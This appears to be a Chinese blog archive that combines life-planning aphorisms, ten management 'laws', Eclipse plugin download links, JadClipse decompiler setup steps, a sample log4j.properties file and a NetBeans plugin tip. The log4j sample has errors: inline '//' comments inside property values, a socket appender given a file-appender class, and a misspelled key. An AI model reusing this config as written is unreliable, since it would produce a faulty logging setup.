  30.生涯规划的步骤是:先觉知、有意愿、量己力、衡外情、订目标、找策略、重实践、善反省、再调整、重出发的循环历程。

  31.生涯规划的前提在于:主角是自己,愿意改变自己,要量力适性,参考家人意见,有求好心,有企图心,有行动决心。

  32.一个人就算饱学之士,如果不能暸解自己,掌握自己,就称不上是个有智慧的人。

  33.知己是生涯规划的起点,唯有充分了解自己,生涯规划才能做到量力适性,人生才能过得如自己所想。

  34.要暸解自己,就要勤于自我生涯对话,认清我是谁?我是怎样的一个人?我有那些生涯资产及战力?我要到那里去?我要如何达到目的?

  35.目标代表个人的愿景,是心中的罗盘,人生因有目标,才会执着去追求,才会有成功的希望。

  36.人生有梦,筑梦踏实,将自己的梦想,以阶段性的小目标,落实在具体的计划中,然后身体力行,积极实践,就是生涯规划最具体的表现。

  37.人生是连续的过程,珍视过程,就是钟爱自己;渴望、信心及行动是圆梦三部曲。

  38.人生以40岁为分水岭,前20年,为人作嫁,工作以量为中心;后20年, 为己多活,工作要以质为中心。

  39.人生幸福三诀:一、不要拿自己的错误惩罚自己﹔二、不要拿自己的错误惩罚别人﹔三、不要拿别人的错误惩罚自己。

  40.人生虽有终点,生命却是无涯,生活可以随便,生命却要认真,怎样安排此生,是自己的责任。

  41.圆满人生的八大领域是:婚姻美满、家庭和乐、道德修养、终身学习、事业发展、身体健康、理财得法、善缘广结。

  42.全方位的生涯规划,至少包括四个领域:缤纷生活路、快乐工作路、丰富学习路、职涯成功路。

  43. 缤纷生活路包括:美满婚姻、和乐家庭、健康生活、休闲生活、人际关系、时间管理、消费理财等。

  44.快乐工作路包括:善尽职责,纾解压力、精益求精、工作丰富、寻找乐趣、追求创新等。

  45. 丰富学习路包括:修身养性、自我进修、短期进修、在职进修、学艺专精、网络学习等。

  46.职涯成功路包括:终身受雇、职位晋升、专长发展、绩效创高等。

  47.人生的地图,画满了各式各样的关卡,每过一关都是成长,能够过关便是幸运,经历种种关卡所累积的教训及经验,更是人生的智慧。

  48.人生的关卡,成败在于自己,过关的是自己,卡住的也是自己,人生自古谁无关,只要过关就是赢家。

  49.生涯警讯要觉醒,生涯危机要诊断,生涯挫败要探因,逆转危机为转机,生涯革命要进行。

  50.挫败是人生必修的学分,除了勇敢面对它、接受它、处理它,没有第二绦路。

  51.中年,是一个充满压力、挑战及危机的时期,如何破茧而出,在困境中突破成长,是人生的重要课题。

  52.中年转折是一个危机与机会并存的时机,也是一个真真实实的转折点,只要勇敢面对,因应有方,还是能够活得像一条龙。

  53.破浪扬帆全靠信心、决心、毅力,福祸无门,无一事不可转圜,一切操之在己。

  54.灰心丧志是失败之源;患得患失是痛苦之源;焦虑忧愁是疾病之源;知足、感恩、善解、包容是快乐之源;健康、平安、心安是幸福之源。

  55.舍得才能获得;放下才能去烦;忘记才能心宁;宽容才能得众;反求诸己,做到无念无私,就是踏实自在。

  56生涯路上满布陷阱,每个人要以如履薄冰的心情,踏实的跨出每一步,坚持向前,充满自信和决心,只要行得正,走得稳,终会达成目标。

  57.成功不自满,常怀企图心;改善是求进步的动力,自满是走下坡的起点;为了成功而停下脚步的人,失败就在不远处等您。

  58.真正的裒退,不在白发皱纹,而是停止了学习进取,因此,抱持希望,不断学习,落实行动,是成功人生的保证。

  59.现代人的工作守则:流汗不流血,卖力不卖命,做事不坐牢,争气不争功,凡事求合理,凡事求心安,过程兼结果,时效即绩效。

  60.一个人的品德操守最重要,也是唯一自保之道。表现好,别人不一定肯定;表现不好,别人肯定不轻饶;那里差,别人就往那边挑;那里脏,别人就往那边扫;那里臭,别人就往那边清。

  61.一个人如果忙得抽不出一点时间,常把忙碌一词成为口头禅,那就表示自己已被时间锁住,成了时间的奴隶。

  62.人生有输有赢,得势顺境时,千万不要得意忘形,放纵自己;失势逆境时,千万不可消极颓唐,放弃自己;人生成功的定义,要自己去找,别迷失在别人的看法中。

  63.人生如起伏波浪,唯有培养辨识障碍意识与能力,坚定面对挫折勇气与决心,设法及时反省与补救,才是在茫茫人生大海中,安稳航行的不二法门。

  **.聪明人看退休:不是人生的结束,而是另一阶段的开始;不是工作的退出,而是工作的再参与;不是从此坐享清福,而是人生再定位;不是依靠别人,而是人生再出发;不足自然凋谢的过程,而是有计划的过程。

  65.退休是放松自己,让自己更有时间,去做一些年轻时想做,而没时间去做的事情,来满足自我,活出精彩人生。

  66.在年轻的时候,如果能尽早预筹生涯发展,先期进行生涯管理,生涯路上,必然走得实在,活得快意。

  67.早备六老,愈老愈受用:老健、老伴、老本、老友、老趣、老傻。

  68.老身要健,勤于运动:要活就要动,动则得救;力行生活规律,饮食适当,营养均衡,定期健检;注重休闲,保持心情愉快,便是健康保证。

  69.老伴要好,爱要及时:年轻的夫妻,要及早培养默契,好为老年的生活,累积相爱相守的本钱;空巢中的老人,虽然抓不住孩子的翅膀,但别忘了劳苦功高的老伴,只要巢中有温情,永远不会空。

  70.老本要保,善于理财:年轻的时候,要量入为出,懂得理财,为后半生早作准备;人老了,没钱万万不能,千万要守住老本,懂得活用,善待自己。

  71.老友要交,广结善缘:老友愈陈愈香,年轻的朋友,要及早培养人脉,以便为老年的生活,营造谈天说笑的空间;人愈老愈需要朋友,借着老友的互动联谊,可排遣寂寞,打发时间。

  72.老趣要多,及时培养:一个人的兴趣愈多,朋友就愈多,生活就愈有情趣,生命也就更充实,能为兴趣而活,是人生最大乐事。

  73.老傻要装,涵养心性:人活得愈老,愈要装傻,与配偶、子女、媳妇、好友相处,少说两句、少批毛病、少发脾气,多让一点、多想一二、多说好话,和和乐乐,皆大欢喜。

  74.装傻的最高境界在于:拿得起、放得下、看得开、不动气、知足、感恩、善解、包容。

  75.临老宣言:多运动保健康,心和谐增愉快,不要委屈自己,不要为难子女,没钱万万不能,多陪伴老伴,活到老学到老,有余力多奉献,可以预立遗嘱,多做还愿还债,从容准备后事,恬然接纳死亡。

  76.临老警语:不做老病号,不做老番颠,不做孤独者,不做守财奴,不做落伍者,不做依赖者,不做等死者。

  77.银发族的养生秘诀:知老、认老、抗老、忘老、返老、惜老。

  78.老当知老,规律自找,青春永保;老当认老,不要过劳,剔去烦恼;老当抗老,养身有道,永不嫌老;老当忘老,不停用脑,永不枯槁;抗当返老,心境要好,自乐陶陶;老当惜老,及时行乐,潇洒逍遥。

  79.潇洒人生六得:来得、做得、玩得、舍得、放得、走得。

  80.活到老,学到老,动到老,玩到老,乐到老,永不老。

  81.悲观者抱怨风向,乐观者期待转向,聪明者调整风帆。

  82.对人生的种种,要抱持「看得见、想出来、知改变、能行动」的态度,才能对自己的人生有所交待。

  83.自我管理的警语:既尊己又尊人,站稳脚再冲刺,识时务知进退,存善心做好事,己不欲勿施人,有余力多助人,重修行求心安,善尽责留怀思,再卖力有批评,疼自己做自己。

  84.有效工作的警语:流汗不流血,卖力不卖命,做事不坐牢,争气不争功,有始也有终,过程兼结果,时效即绩效。

  85.人际关系的警语:时存五心(诚心、宽心、同理心、肋人心、感恩心);力行五好(心地好、态度好、表情好、言语好、行为好)。

  86.开心生活的警语:时时开放心胸,保持乐观心情,全力冲刺目标,运动休闲兼顾,营养力求均衡,生活加点创意。

  87.心灵保育的警语:常运动以健心,多静省以收心,戒酒色以清心,去物欲以养心,诵古训以警心,悟至理以明心,厉行善以爱心。

  88.在人生的奋斗过程中,就像一场场的球赛,有输有赢;人生之路崎岖难行,但凭毅力、决心,勇往直前,才能战胜命运,成为生涯赢家。

  89.所谓生涯赢家,就是对自己了解很清楚,知道自己想要什么,想做什么,想过怎样人生的人。

  90.生涯赢家的画像:快乐风光享余年:活动自如身体健,经济独立不靠人,亲情友情乐融融,云淡风轻随己性,生活快乐不知老,退休计划做得巧,养老压力自然小。

  91.赢家的相对就是输家,凡是对自己不了解,任由环境塑造,糊里胡涂生活的人,都算是人生的输家。

  92.生涯输家的画像:病弱孤独度残生:插管躺卧在病榻,如影随形文明病,亲情友情渐疏离,精神空虚难自处,早未准备悔已迟,退休计划做得差,养老压力自然大。

  93.人生使命宣言:家庭第一,健康至上;劲在工作,知足感恩;乐善好施, 广结善缘;信然重诺,心安理得;终身学习 回馈社会。

  94.不怕计划失败,只怕不去计划,嬴家的头衔,是苦干得来,汗水换来的。

  95.生涯是连续的,终生的,与成功有约,有梦的人终会摘星。

  96.主角是自己,只有自己才能决定成败,掌握命运,突破困境,使美梦成真,没有人可以代劳。

  97.新好父母或老师,要为孩子或学生生涯点灯:点燃心灯、智慧之灯、希望之灯。

  98.新好父母或老师,要做子女或学生的生涯贵人:要做心理学家、顾问、拉拉队长、向导。

  99.让孩子或学生,找到自己,掌握自己,肯定自己,走出自己的路,比什么重要。

  100.快乐人生的根源,在于用心经营家庭;事业成功的人,也是家中的模范生,筑一个自己喜欢的巢,爱情及亲情就在家里.

 



受益终生的十大经典管理学定律

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=103922&extra=page%3D1


1、彼得原理 

  每个组织都是由各种不同的职位、等级或阶层的排列所组成,每个人都隶属于其中的某个等级。彼得原理是美国学者劳斯·彼得在对组织中人员晋升的相关现象研究后,得出一个结论:在各种组织中,雇员总是趋向于晋升到其不称职的地位。彼得原理有时也被称为向上爬的原理。 这种现象在现实生活中无处不在:一名称职的教授被提升为大学校长后,却无法胜任;一个优秀的运动员被提升为主管体育的官员,而无所作为。对一个组织而言,一旦相当部分人员被推到其不称职的级别,就会造成组织的人浮于事,效率低下,导致平庸者出人头地,发展停滞。因此,这就要求改变单纯的根据贡献决定晋升的企业员工晋升机制,不能因某人在某个岗位上干得很出色,就推断此人一定能够胜任更高一级的职务。将一名职工晋升到一个无法很好发挥才能的岗位,不仅不是对本人的奖励,反而使其无法很好发挥才能,也给企业带来损失。

2、酒与污水定律

  酒与污水定律是指把一匙酒倒进一桶污水,得到的是一桶污水;如果把一匙污水倒进一桶酒,得到的还是一桶污水。在任何组织里,几乎都存在几个难弄的人物,他们存在的目的似乎就是为了把事情搞糟。最糟糕的是,他们像果箱里的烂苹果,如果不及时处理,它会迅速传染,把果箱里其他苹果也弄烂。 烂苹果的可怕之处,在于它那惊人的破坏力。一个正直能干的人进入一个混乱的部门可能会被吞没,而一个无德无才者能很快将一个高效的部门变成一盘散沙。组织系统往往是脆弱的,是建立在相互理解、妥协和容忍的基础上的,很容易被侵害、被毒化。破坏者能力非凡的另一个重要原因在于,破坏总比建设容易。一个能工巧匠花费时日精心制作的陶瓷器,一头驴子一秒钟就能毁坏掉。如果一个组织里有这样的一头驴子,即使拥有再多的能工巧匠,也不会有多少像样的工作成果。如果你的组织里有这样的一头驴子,你应该马上把它清除掉,如果你无力这样做,就应该把它拴起来。

3、木桶定律

  水桶定律是讲一只水桶能装多少水,这完全取决于它最短的那块木板。这就是说任何一个组织,可能面临的一个共同问题,即构成组织的各个部分往往是优劣不齐的,而劣势部分往往决定整个组织的水平。水桶定律与酒与污水定律不同,后者讨论的是组织中的破坏力量,最短的木板却是组织中有用的一个部分,只不过比其他部分差一些,你不能把它们当成烂苹果扔掉。强弱只是相对而言的,无法消除,问题在于你容忍这种弱点到什么程度,如果严重到成为阻碍工作的瓶颈,你就不得不有所动作。

4、马太效应

  《新约·马太福音》中有这样一个故事:一个国王远行前,交给3个仆人每人一锭银子,吩咐道:你们去做生意,等我回来时,再来见我。国王回来时,第一个仆人说:主人,你交给我的一锭银子,我已赚了10锭。于是,国王奖励他10座城邑。第二个仆人报告:主人,你给我的一锭银子,我已赚了5锭。于是,国王奖励他5座城邑。第三仆人报告说:主人,你给我的1锭银子,我一直包在手帕里,怕丢失,一直没有拿出来。于是,国王命令将第三个仆人的1锭银子赏给第一个仆人,说:凡是少的,就连他所有的,也要夺过来。凡是多的,还要给他,叫他多多益善,这就是马太效应,反应当今社会中存在的一个普遍现象,即赢家通吃。对企业经营发展而言,马太效应告诉我们,要想在某一个领域保持优势,就必须在此领域迅速做大。当你成为某个领域的领头羊时,即便投资回报率相同,你也能更轻易地获得比弱小的同行更大的收益。而若没有实力迅速在某个领域做大,就要不停地寻找新的发展领域,才能保证获得较好的回报。

5、零和游戏原理

  零和游戏是指一项游戏中,游戏者有输有赢,一方所赢正是另一方所输,游戏的总成绩永远为零,零和游戏原理之所以广受关注,主要是因为人们在社会的方方面面都能发现与零和游戏类似的局面,胜利者的光荣后面往往隐藏着失败者的辛酸和苦涩。 20世纪,人类经历两次世界大战、经济高速增长,科技进步、全球一体化以及日益严重的环境污染,零和游戏观念正逐渐被双赢观念所取代。人们开始认识到利已不一定要建立在损人的基础上。通过有效合作皆大欢喜的结局是可能出现的。但从零和游戏走向双赢,要求各方面要有真诚合作的精神和勇气,在合作中不要小聪明,不要总想占别人的小便宜,要遵守游戏规则,否则双赢的局面就不可能出现,最终吃亏的还是合作者自己。

6、华盛顿合作规律

  华盛顿合作规律说的是一个人敷衍了事,两个人互相推诿,三个人则永无成事之日。多少有点类似于我们三个和尚的故事。人与人的合作,不是人力的简单相加,而是要复杂和微妙得多。在这种合作中,假定每个人的能力都为1,那么,10个人的合作结果有时比10大得多,有时,甚至比1还要小。因为人不是静止物,而更像方向各异的能量,相互推动时,自然事半功倍,相互抵触时,则一事无成。 我们传统的管理理论中,对合作研究得并不多,最直观的反映就是,目前的大多数管理制度和行为都是致力于减少人力的无谓消耗,而非利用组织提高人的效能。换言之,不妨说管理的主要目的不是让每个人做得更好,而是避免内耗过多。

7、手表定理

  手表定理是指一个人有一只表时,可以知道现在是几点钟,当他同时拥有两只表时,却无法确定。两只手表并不能告诉一个人更准确的时间,反而会让看表的人失去对准确时间的信心。手表定理在企业经营管理方面,给我们一种非常直观的启发,就是对同一个人或同一个组织的管理,不能同时采用两种不同的方法,不能同时设置两个不同的目标,甚至每一个人不能由两个人同时指挥,否则将使这个企业或这个人无所适从。手表定理所指的另一层含义在于,每个人都不能同时选择两种不同的价值观,否则,你的行为将陷于混乱。

8、不值得定律

  不值得定律最直观的表述是:不值得做的的事情,就不值得做好。这个定律再简单不过了,重要性却时时被人们忽视遗忘。不值得定律反映人们的一种心理,一个人如果从事的是一份自认为不值得做的事情,往往会保持冷嘲热讽,敷衍了事的态度,不仅成功率低,而且即使成功,也不觉得有多大的成就感。 因此,对个人来说,应在多种可供选择的奋斗目标及价值观中挑选一种,然后为之奋斗。选择你所爱的,爱你所选择的,才可能激发我们的斗志,也可以心安理得。而对一个企业或组织来说,则要很好地分析员工的性格特性,合理分配工作,如让成就欲较强的职工单独或牵头完成具有一定风险和难度的工作,并在其完成时,给予及时的肯定和赞扬;让依附欲较强的职工,更多地参加到某个团体*同工作;让权力欲较强的职工,担任一个与之能力相适应的主管。同时要加强员工对企业目标的认同感,让员工感觉到自己所做的工作是值得的,这样才能激发职工的热情。

9、蘑菇管理

  蘑菇管理是许多组织对待初出茅庐者的一种管理方法,初学者被置于阴暗的角落(不受重视的部门,或打杂跑腿的工作),浇上一头大粪(无端的批评、指责、代人受过),任其自生自灭(得不到必要的指导和提携)。相信很多人都有过这样一段蘑菇的经历,这不一定是什么坏事,尤其是当一切刚刚开始的时候,当几天蘑菇,能够消除我们很多不切实际的幻想,让我们更加接近现实,看问题也更加实际。一个组织,一般对新进的人员都是一视同仁,从起薪到工作都不会有大的差别。无论你是多么优秀的人才,在刚开始的时候,都只能从最简单的事情做起,蘑菇的经历,对于成长中的年轻人来说,就象蚕茧,是羽化前必须经历的一步。所以,如何高效率地走过生命的这一段,从中尽可能汲取经验,成熟起来,并树立良好的值得信赖的个人形象,是每个刚入社会的年轻人必须面对的课题。

10、奥卡姆剃刀定律

  12世纪,英国奥卡姆的威廉主张唯名论,只承认确实存在的东西,认为那些空洞无物的普遍性概念都是无用的累赘,应当被无情地剃除。他主张如无必要,勿增实体。这就是常说的奥卡姆剃刀。这把剃刀曾使很多人感到威胁,被认为是异端邪说,威廉本人也因此受到迫害。然而,并未损害这把刀的锋利,相反,经过数百年的岁月,奥卡姆剃刀已被历史磨得越来越快,并早已超载原来狭窄的领域,而具有广泛、丰富、深刻的意义。奥卡姆剃刀定律在企业管理中可进一步演化为简单与复杂定律:把事情变复杂很简单,把事情变简单很复杂。这个定律要求,我们在处理事情时,要把握事情的主要实质,把握主流,解决最根本的问题,尤其要顺应自然,不要把事情人为地复杂化,这样才能把事情处理好。

posted @ 2007-04-03 20:51 MEYE 阅读(3724) | 评论 (1)编辑 收藏



 

Eclipse及其插件下载网址大全

1  Eclipse下载
EMF,GEF - Graphical Editor Framework,UML2,VE - Visual Editor都在这里下载
http://www.eclipse.org/downloads/index.php

2  lomboz J2EE插件,开发JSP,EJB
http://forge.objectweb.org/projects/lomboz

3  MyEclipse J2EE开发插件,支持SERVLET/JSP/EJB/数据库操纵等
http://www.myeclipseide.com

4  Properties Editor  编辑java的属性文件,并可以自动存盘为Unicode格式
http://propedit.sourceforge.jp/index_en.html

5  Colorer Take  为上百种类型的文件按语法着色
http://colorer.sourceforge.net/

6  XMLBuddy 编辑xml文件
http://www.xmlbuddy.com

7  Code Folding  加入多种代码折叠功能(比eclipse自带的更多)
http://www.coffee-bytes.com/servlet/PlatformSupport

8  Easy Explorer  从eclipse中访问选定文件、目录所在的文件夹
http://easystruts.sourceforge.net/

9  Fat Jar 打包插件,可以方便的完成各种打包任务,可以包含外部的包等
http://fjep.sourceforge.net/

10  RegEx Test 测试正则表达式
http://brosinski.com/stephan/archives/000028.php

11  JasperAssistant 报表插件(要钱的哦~)
http://www.jasperassistant.com/

12  Jigloo GUI Builder JAVA的GUI编辑插件
http://cloudgarden.com/jigloo/

13  Profiler 性能跟踪、测量工具,能跟踪、测量B/S程序
http://sourceforge.net/projects/eclipsecolorer/

14  AdvanQas 提供对if/else等条件语句的提示和快捷帮助(自动更改结构等)
http://eclipsecolorer.sourceforge.net/advanqas/index.html

15  Log4E Log4j插件,提供各种和Log4j相关的任务,如为方法、类添加一个logger等
http://log4e.jayefem.de/index.php/Main_Page

16  VSSPlugin VSS插件
http://sourceforge.net/projects/vssplugin

17  Implementors 提供跳转到一个方法的实现类,而不是接口的功能(实用!)
http://eclipse-tools.sourceforge.net/implementors/

18  Call Hierarchy 显示一个方法的调用层次(被哪些方法调,调了哪些方法)
http://eclipse-tools.sourceforge.net/call-hierarchy/index.html

19  EclipseTidy 检查和格式化HTML/XML文件
http://eclipsetidy.sourceforge.net/

20  Checkclipse 检查代码的风格、写法是否符合规范
http://www.mvmsoft.de/content/plugins/checkclipse/checkclipse.htm

21  Hibernate Synchronizer Hibernate插件,自动映射等
http://www.binamics.com/hibernatesync/

22  VeloEclipse  Velocity插件
http://propsorter.sourceforge.net/
 
23  EditorList 方便的列出所有打开的Editor
http://editorlist.sourceforge.net/
 
24  MemoryManager 内存占用率的监视
http://cloudgarden.com/memorymanager/
 
25  swt-designer java的GUI插件
http://www.swt-designer.com/
 
26  TomcatPlugin 支持Tomcat插件
http://www.sysdeo.com/eclipse/tomcatPlugin.html
 
27  XML Viewer
http://tabaquismo.freehosting.net/ignacio/eclipse/xmlview/index.html
 
28  quantum 数据库插件
http://quantum.sourceforge.net/
 
29  Dbedit 数据库插件
http://sourceforge.net/projects/dbedit
 
30  clay.core 可视化的数据库插件
http://www.azzurri.jp/en/software/index.jsp
http://www.azzurri.jp/eclipse/plugins
 
31  hiberclipse hibernate插件
http://hiberclipse.sourceforge.net
http://www.binamics.com/hibernatesync
 
32  struts-console Struts插件
http://www.jamesholmes.com/struts/console/
 
33  easystruts Struts插件
http://easystruts.sourceforge.net
 
34  veloedit Velocity插件
http://veloedit.sourceforge.net/
 
35  jalopy 代码整理插件
http://jalopy.sourceforge.net/
 
36  JDepend 包关系分析
http://andrei.gmxhome.de/jdepend4eclipse/links.html
 
37  Spring IDE Spring插件
http://springide-eclip.sourceforge.net/updatesite/
 
38  doclipse 可以产生xdoclet 的代码提示
http://beust.com/doclipse/

39  SQLExplorer,在Eclipse 中连接各种数据库进行操作使用
http://dev2dev.bea.com.cn/bbs/thread.jspa?forumID=124&threadID=31124


40 Eclipse 插件Implementors 在Eclipse 中的使用。
问题提出:
  如果你想看看某个类或者方法的实现,一般是Ctrl + 鼠标左键,单击即可以打开这个类或者方法的具体实现代码。但是如果碰到接口时,只是到达接口而已,不能到达具体的实现类里。
解决方法:利用Eclipse 的Implementors 插件。
  当追踪方法代码时,Eclipse 默认是转到方法的接口类,而接口中是只有方法名称没有具体的实现代码,此插件提供了追踪到具体实现类的实现代码的功能。
  另外还有Call Hierarchy 插件: 显示一个方法的调用层次,可以从中看到它被哪些方法调用了,以及它调用了哪些方法,是代码追踪比较实用的工具。Eclipse 3.1 中已经自带有这个功能了。这个插件就不用另加介绍了。
下载地址:
http://dev2dev.bea.com.cn/bbs/thread.jspa?forumID=124&threadID=30441
或者
http://www.cjsdn.net/post/view?bid=7&id=165547&sty=1
Eclipse插件之SQLExplorer- -

本文介绍如何利用Eclipse 插件SQLExplorer 在Eclipse 中连接各种数据库进行操作使用。
Eclipse 是目前非常流行的开发平台,开放扩展的架构让很多程序员找到了自己个性化的工作环境。
下载地址:
http://dev2dev.bea.com.cn/bbs/thread.jspa?forumID=124&threadID=31124
或者
http://www.cjsdn.net/post/view?bid=7&id=164702&sty=1

    用links方法加载Eclipse插件
    eclispe想必大家都很熟悉了,一般来说,eclipse插件都是安装在plugins目录下。不过这样一来,当安装了许多插件之后,eclipse变的很大,最主要的是不便于更新和管理众多插件。用links方式安装eclipse插件,可以解决这个问题。
        当前配置XP SP1,eclipse3.0.1
        现在假设我的eclipse安装目录是D:\eclipse,待安装插件目录是D:\plug-in ,我将要安装LanguagePackFeature(语言包)、emf-sdo-xsd-SDK、GEF-SDK、Lomboz这四个插件。
        先把这四个插件程序全部放在D:\plug-in目录里,分别解压。如Lomboz3.0.1.zip解压成Lomboz3.0.1目录,这个目录包含一个plugins目录,要先在Lomboz3.0.1目录中新建一个子目录eclipse,然后把plugins目录移动到刚建立的eclipse目录中,即目录结构要是这样的:D:\plug-in\Lomboz3.0.1\eclipse\plugins
Eclipse 将会到指定的目录下去查找 eclipse\features 目录和eclipse\plugins 目录,看是否有合法的功能部件和(或)插件。也就是说,目标目录必须包含一个 \eclipse 目录。如果找到,附加的功能部件和插件在运行期配置是将是可用的,如果链接文件是在工作区创建之后添加的,附加的功能部件和插件会作为新的配置变更来处理。
         其它压缩文件解压后若已经包含eclipse\plugins目录,则不需要建立eclipse目录。
         然后在 eclipse安装目录D:\eclipse目录中建立一个子目录links,在links目录中建立一个link文件,比如 LanguagePackFeature.link,改文件内容为  path=D:/plug-in/LanguagePackFeature  即这个link文件要对应一个刚解压后的插件目录。
说明:
     1. 插件可以分别安装在多个自定义的目录中
     2. 一个自定义目录可以安装多个插件。
     3. link文件的文件名及扩展名可以取任意名称,比如ddd.txt,myplugin都可以。
     4. link文件中path=插件目录的path路径分隔要用\\或是/
     5. 在links目录也可以有多个link文件,每个link文件中的path参数都将生效。
     6. 插件目录可以使用相对路径。
     7. 可以在links目录中建立一个子目录,转移暂时不用的插件到此子目录中,加快eclipse启动。
     8.  如果安装后看不到插件,把eclipse 目录下的configuration目录删除,重启即可。



jadclips插件网站:http://jadclipse.sourceforge.net/
一、下载:
 下载插件:
   下载jadclipse_3.1.0.jar版本,该版本支持eclipse3.1M6以上
   下载jadclipse_3.2.0.jar版本,该版本支持eclipse3.2M3和eclipse3.2M4。
   下载jadclipse_3.2.2.jar版本,该版本支持eclipse3.2M5以上。
 下载Jad反编译工具:
   http://www.kpdus.com/jad.html#download,在该页中找到适合自己操作系统平台的jad下载。下载后解压,然后将解压后的jad.exe文件复制到%JAVA_HOME%\BIN目录下面(可以将jad.exe随便放到哪,只要记住路径就好,下面要用到)。
二、安装:
   方法1、直接将jadclipse_3.1.0.jar复制到%ECLIPSE_HOME%\plugins目录下。
   方法2、使用link方式安装,建立E:\eclipse3.1plugins\jadclipse3.1.0\eclipse\plugins的目录结构,将jadclipse_3.1.0.jar放到plugins目录下面(注:其中E:\eclipse3.1plugins为你自己定义的一个专门放置插件的目录)。再在%ECLIPSE_HOME%\links目录下面建立一个jadclipse3.1.0.link文件(该文件名随便取,保证后缀为.link就OK).文件里面内容为:path=E:\\eclipse3.1plugins\\jadclipse3.1.0。
   启动eclipse,打开Window->Preferences->Java->JadClipse,如果没有找到JadClipse,检查插件安装的版本是否与你安装的eclipse版本对应。我安装的eclipse是:eclipse3.1.2
三、设置参数:
   启动eclipse,打开:Window->Preferences->Java->JadClipse。
   1、Path to decompiler,这里设置反编译工具jad的全路径名,比如:%JAVA_HOME%\bin\jad.exe。
   2、Directory for temporary files,这里设置临时文件路径。
   至于Window->Preferences->Java->JadClipse目录下的Debug,Directives,Formatting,Misc目录中的参数设置,就不罗嗦。
四、安装完成后,eclipse自动将JadClipse Class File Viewer设置成class文件的缺省打开方式。如果没有默认,可以在Eclipse的Windows--> Perference-->General->Editors->File Associations中修改“*.class”默认关联的编辑器为“JadClipse Class File Viewer”。设置完成后,双击*.class文件,eclipse将自动反编译。

注: 对于存在源代码的类,它不会强行反编译,也就是说它还是会用eclipse自带的Class File Viewer查看class文件




 log4j.rootLogger=DEBUG,CONSOLE,A1,im
 log4j.addivity.org.apache=true

 # 应用于控制台

 log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender
 log4j.appender.Threshold=DEBUG
 log4j.appender.CONSOLE.Target=System.out
 log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout
 log4j.appender.CONSOLE.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n
 #log4j.appender.CONSOLE.layout.ConversionPattern=
[start]%d{DATE}[DATE]%n%p[PRIORITY]%n%x[NDC]%n%t[THREAD] n%c[CATEGORY]%n%m[MESSAGE]%n%n

 #应用于文件

 log4j.appender.FILE=org.apache.log4j.FileAppender
 log4j.appender.FILE.File=file.log
 log4j.appender.FILE.Append=false
 log4j.appender.FILE.layout=org.apache.log4j.PatternLayout
 log4j.appender.FILE.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n
 # Use this layout for LogFactor 5 analysis

 # 应用于文件回滚

 log4j.appender.ROLLING_FILE=org.apache.log4j.RollingFileAppender
 log4j.appender.ROLLING_FILE.Threshold=ERROR
 log4j.appender.ROLLING_FILE.File=rolling.log  //文件位置,也可以用变量${java.home}、rolling.log
 log4j.appender.ROLLING_FILE.Append=true       //true:添加  false:覆盖
 log4j.appender.ROLLING_FILE.MaxFileSize=10KB   //文件最大尺寸
 log4j.appender.ROLLING_FILE.MaxBackupIndex=1  //备份数
 log4j.appender.ROLLING_FILE.layout=org.apache.log4j.PatternLayout
 log4j.appender.ROLLING_FILE.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n


 #应用于socket
 log4j.appender.SOCKET=org.apache.log4j.RollingFileAppender
 log4j.appender.SOCKET.RemoteHost=localhost
 log4j.appender.SOCKET.Port=5001
 log4j.appender.SOCKET.LocationInfo=true
 # Set up for Log Facter 5
 log4j.appender.SOCKET.layout=org.apache.log4j.PatternLayout
 log4j.appender.SOCET.layout.ConversionPattern=
[start]%d{DATE}[DATE]%n%p[PRIORITY]%n%x[NDC]%n%t[THREAD]%n%c[CATEGORY]%n%m[MESSAGE]%n%n


 # Log Factor 5 Appender
 log4j.appender.LF5_APPENDER=org.apache.log4j.lf5.LF5Appender
 log4j.appender.LF5_APPENDER.MaxNumberOfRecords=2000

 # 发送日志给邮件

 log4j.appender.MAIL=org.apache.log4j.net.SMTPAppender
 log4j.appender.MAIL.Threshold=FATAL
 log4j.appender.MAIL.BufferSize=10
 log4j.appender.MAIL.From=test@sina.com.cn
 log4j.appender.MAIL.SMTPHost=smtp.sina.com.cn
 log4j.appender.MAIL.Subject=Log4J Message
 log4j.appender.MAIL.To=test@sina.com.cn
 log4j.appender.MAIL.layout=org.apache.log4j.PatternLayout
 log4j.appender.MAIL.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n

 # 用于数据库
 log4j.appender.DATABASE=org.apache.log4j.jdbc.JDBCAppender
 log4j.appender.DATABASE.URL=jdbc:mysql://localhost:3306/test
 log4j.appender.DATABASE.driver=com.mysql.jdbc.Driver
 log4j.appender.DATABASE.user=root
 log4j.appender.DATABASE.password=
 log4j.appender.DATABASE.sql=INSERT INTO LOG4J (Message) VALUES ('[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n')
 log4j.appender.DATABASE.layout=org.apache.log4j.PatternLayout
 log4j.appender.DATABASE.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n


 log4j.appender.A1=org.apache.log4j.DailyRollingFileAppender
 log4j.appender.A1.File=SampleMessages.log4j
 log4j.appender.A1.DatePattern=yyyyMMdd-HH'.log4j'
 log4j.appender.A1.layout=org.apache.log4j.xml.XMLLayout

 #自定义Appender

 log4j.appender.im = net.cybercorlin.util.logger.appender.IMAppender

 log4j.appender.im.host = mail.cybercorlin.net
 log4j.appender.im.username = username
 log4j.appender.im.password = password
 log4j.appender.im.recipient = test@test.com

 log4j.appender.im.layout=org.apache.log4j.PatternLayout
 log4j.appender.im.layout.ConversionPattern =[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n




netBeans不仅可以编辑java甚至可以编辑c/c++.今天又发现netBeans还有javascript和css编辑器。dreamweaver可以很好的编辑css可是对javascript的支持却不是很强大。

第一步

工具->选项->高级选项->IDE配置->系统->自动更新类型
在上面单击右键,选择“新建”->一般更新中心
输入一个名字,比如“javascriptAndCss”(这个自己随便写),然后确定。你会发现在自动更新类型下面多出了我们刚建立的项目,单击它,在右面的设置里面将服务器url 里填入
http://www.liguorien.org/download/jseditor/updates.xml
关闭

第二步

工具->选项->更新中心->选中javascriptAndCss ->下一步

        过一会儿就会出现javascript和css插件,选择添加,然后下一步,接下来重启netBeans就可以使用了







